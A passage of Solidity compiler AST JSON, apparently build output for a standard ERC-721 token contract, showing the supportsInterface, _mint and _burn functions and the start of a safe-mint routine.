isibility":"public"},{"id":33305,"nodeType":"FunctionDefinition","src":"5354:332:21","nodes":[],"body":{"id":33304,"nodeType":"Block","src":"5445:241:21","nodes":[],"statements":[{"expression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33302,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33298,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33294,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33292,"name":"interfaceId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33286,"src":"5462:11:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30783031666663396137","id":33293,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5477:10:21","typeDescriptions":{"typeIdentifier":"t_rational_33540519_by_1","typeString":"int_const 33540519"},"value":"0x01ffc9a7"},"src":"5462:25:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33297,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33295,"name":"interfaceId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33286,"src":"5537:11:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30783830616335386364","id":33296,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5552:10:21","typeDescriptions":{"typeIdentifier":"t_rational_2158778573_by_1","typeString":"int_const 2158778573"},"value":"0x80ac58cd"},"src":"5537:25:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"5462:100:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33301,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33299,"name":"interfaceId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33286,"src":"5612:11:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30783562356531333966","id":33300,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5627:10:21","typeDescriptions":{"typeIdentifier":"t_rational_1532892063_by_1","typeString":"int_const 1532892063"},"value":"0x5b5e139f"},"src":"5612:25:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"5462:175:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":33291,"id":33303,"nodeType":"Return","src":"5455:182:21"}]},"baseFunctions":[31872],"functionSelector":"01ffc9a7","implemented":true,"kind":"function","modifiers":[],"name":"supportsInterface","nameLocation":"5363:17:21","overrides":{"id":33288,"nodeType":"OverrideSpecifier","overrides":[],"src":"5421:8:21"},"parameters":{"id":33287,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33286,"mutability":"mutable","name":"interfaceId","nameLocation":"5388:11:21","nodeType":"VariableDeclaration","scope":33305,"src":"5381:18:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":33285,"name":"bytes4","nodeType":"ElementaryTypeName","src":"5381:6:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"5380:20:21"},"returnParameters":{"id":33291,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33290,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33305,"src":"5439:4:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33289,"name":"bool","nodeType":"ElementaryTypeName","src":"5439:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5438:6:21"},"scope":33498,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":33355,"nodeType":"FunctionDefinition","src":"5880:338:21","nodes":[],"body":{"id":33354,"nodeType":"Block","src":"5936:282:21","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33318,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33313,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33307,"src":"5954:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":33316,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5968:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33315,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5960:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33314,"name":"address","nodeType":"ElementaryTypeName","src":"5960:7:21","typeDescriptions":{}}},"id":33317,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5960:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"5954:16:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"494e56414c49445f524543495049454e54","id":33319,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5972:19:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_5e7bf34c5f9e77c6f415365fc02ea1195419ccebda18d14265f0c098f3687483","typeString":"literal_string \"INVALID_RECIPIENT\""},"value":"INVALID_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5e7bf34c5f9e77c6f415365fc02ea1195419ccebda18d14265f0c098f3687483","typeString":"literal_string \"INVALID_RECIPIENT\""}],"id":33312,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5946:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33320,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5946:46:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33321,"nodeType":"ExpressionStatement","src":"5946:46:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33330,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":33323,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"6011:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33325,"indexExpression":{"id":33324,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33309,"src":"6020:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6011:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":33328,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6035:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33327,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6027:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33326,"name":"address","nodeType":"ElementaryTypeName","src":"6027:7:21","typeDescriptions":{}}},"id":33329,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6027:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"6011:26:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"414c52454144595f4d494e544544","id":33331,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6039:16:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e3f56786f4dc15ea567a5bcea1aa6e11424106cac78b0acf41b1b7deccad9f1b","typeString":"literal_string \"ALREADY_MINTED\""},"value":"ALREADY_MINTED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e3f56786f4dc15ea567a5bcea1aa6e11424106cac78b0acf41b1b7deccad9f1b","typeString":"literal_string \"ALREADY_MINTED\""}],"id":33322,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6003:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33332,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6003:53:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33333,"nodeType":"ExpressionStatement","src":"6003:53:21"},{"expression":{"id":33337,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"6123:16:21","subExpression":{"baseExpression":{"id":33334,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"6123:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":33336,"indexExpression":{"id":33335,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33307,"src":"6134:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6123:14:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":33338,"nodeType":"ExpressionStatement","src":"6123:16:21"},{"expression":{"id":33343,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":33339,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"6150:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33341,"indexExpression":{"id":33340,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33309,"src":"6159:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6150:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33342,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33307,"src":"6165:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"6150:17:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":33344,"nodeType":"ExpressionStatement","src":"6150:17:21"},{"eventCall":{"arguments":[{"arguments":[{"hexValue":"30","id":33348,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6200:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33347,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6192:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33346,"name":"address","nodeType":"ElementaryTypeName","src":"6192:7:21","typeDescriptions":{}}},"id":33349,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6192:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33350,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33307,"src":"6204:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33351,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33309,"src":"6208:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33345,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31984,"src":"6183:8:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6183:28:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33353,"nodeType":"EmitStatement","src":"6178:33:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_mint","nameLocation":"5889:5:21","parameters":{"id":33310,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33307,"mutability":"mutable","name":"to","nameLocation":"5903:2:21","nodeType":"VariableDeclaration","scope":33355,"src":"5895:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33306,"name":"address","nodeType":"ElementaryTypeName","src":"5895:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33309,"mutability":"mutable","name":"id","nameLocation":"5915:2:21","nodeType":"VariableDeclaration","scope":33355,"src":"5907:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33308,"name":"uint256","nodeType":"ElementaryTypeName","src":"5907:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5894:24:21"},"returnParameters":{"id":33311,"nodeType":"ParameterList","parameters":[],"src":"5936:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":33401,"nodeType":"FunctionDefinition","src":"6224:283:21","nodes":[],"body":{"id":33400,"nodeType":"Block","src":"6268:239:21","nodes":[],"statements":[{"assignments":[33361],"declarations":[{"constant":false,"id":33361,"mutability":"mutable","name":"owner","nameLocation":"6286:5:21","nodeType":"VariableDeclaration","scope":33400,"src":"6278:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33360,"name":"address","nodeType":"ElementaryTypeName","src":"6278:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":33365,"initialValue":{"baseExpression":{"id":33362,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"6294:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33364,"indexExpression":{"id":33363,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33357,"src":"6303:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6294:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"6278:28:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":33372,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33367,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33361,"src":"6325:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":33370,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6342:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33369,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6334:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33368,"name":"address","nodeType":"ElementaryTypeName","src":"6334:7:21","typeDescriptions":{}}},"id":33371,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6334:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"6325:19:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e4f545f4d494e544544","id":33373,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6346:12:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e904b298bc24890ae0c043938d840f08b90773c1635904efe1336d6f851f98ca","typeString":"literal_string \"NOT_MINTED\""},"value":"NOT_MINTED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e904b298bc24890ae0c043938d840f08b90773c1635904efe1336d6f851f98ca","typeString":"literal_string \"NOT_MINTED\""}],"id":33366,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6317:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33374,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6317:42:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33375,"nodeType":"ExpressionStatement","src":"6317:42:21"},{"expression":{"id":33379,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"--","prefix":false,"src":"6370:19:21","subExpression":{"baseExpression":{"id":33376,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"6370:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":33378,"indexExpression":{"id":33377,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33361,"src":"6381:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6370:17:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":33380,"nodeType":"ExpressionStatement","src":"6370:19:21"},{"expression":{"id":33384,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"6400:19:21","subExpression":{"baseExpression":{"id":33381,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"6407:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33383,"indexExpression":{"id":33382,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33357,"src":"6416:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6407:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33385,"nodeType":"ExpressionStatement","src":"6400:19:21"},{"expression":{"id":33389,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"6430:23:21","subExpression":{"baseExpression":{"id":33386,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"6437:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33388,"indexExpression":{"id":33387,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33357,"src":"6450:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"6437:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33390,"nodeType":"ExpressionStatement","src":"6430:23:21"},{"eventCall":{"arguments":[{"id":33392,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33361,"src":"6478:5:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":33395,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6493:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33394,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6485:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33393,"name":"address","nodeType":"ElementaryTypeName","src":"6485:7:21","typeDescriptions":{}}},"id":33396,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6485:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33397,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33357,"src":"6497:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33391,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31984,"src":"6469:8:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33398,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6469:31:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33399,"nodeType":"EmitStatement","src":"6464:36:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_burn","nameLocation":"6233:5:21","parameters":{"id":33358,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33357,"mutability":"mutable","name":"id","nameLocation":"6247:2:21","nodeType":"VariableDeclaration","scope":33401,"src":"6239:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33356,"name":"uint256","nodeType":"ElementaryTypeName","src":"6239:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6238:12:21"},"returnParameters":{"id":33359,"nodeType":"ParameterList","parameters":[],"src":"6268:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":33440,"nodeType":"FunctionDefinition","src":"6701:343:21","nodes":[],"body":{"id":33439,"nodeType":"Block","src":"6761:283:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33409,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33403,"src":"6777:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33410,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33405,"src":"6781:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33408,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33355,"src":"6771:5:21","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":33411,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6771:13:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33412,"nodeType":"ExpressionStatement","src":"6771:13:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33435,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33417,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"6816:16:21","subExpression":{"arguments":[{"id":33415,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33403,"src":"6829:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33414,"name":"_isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33497,"src":"6817:11:21","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":33416,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6817:15:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33434,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":33422,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"6894:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33423,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6898:6:21","memberName":"sender","nodeType":"MemberAccess","src":"6894:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":33426,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6914:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 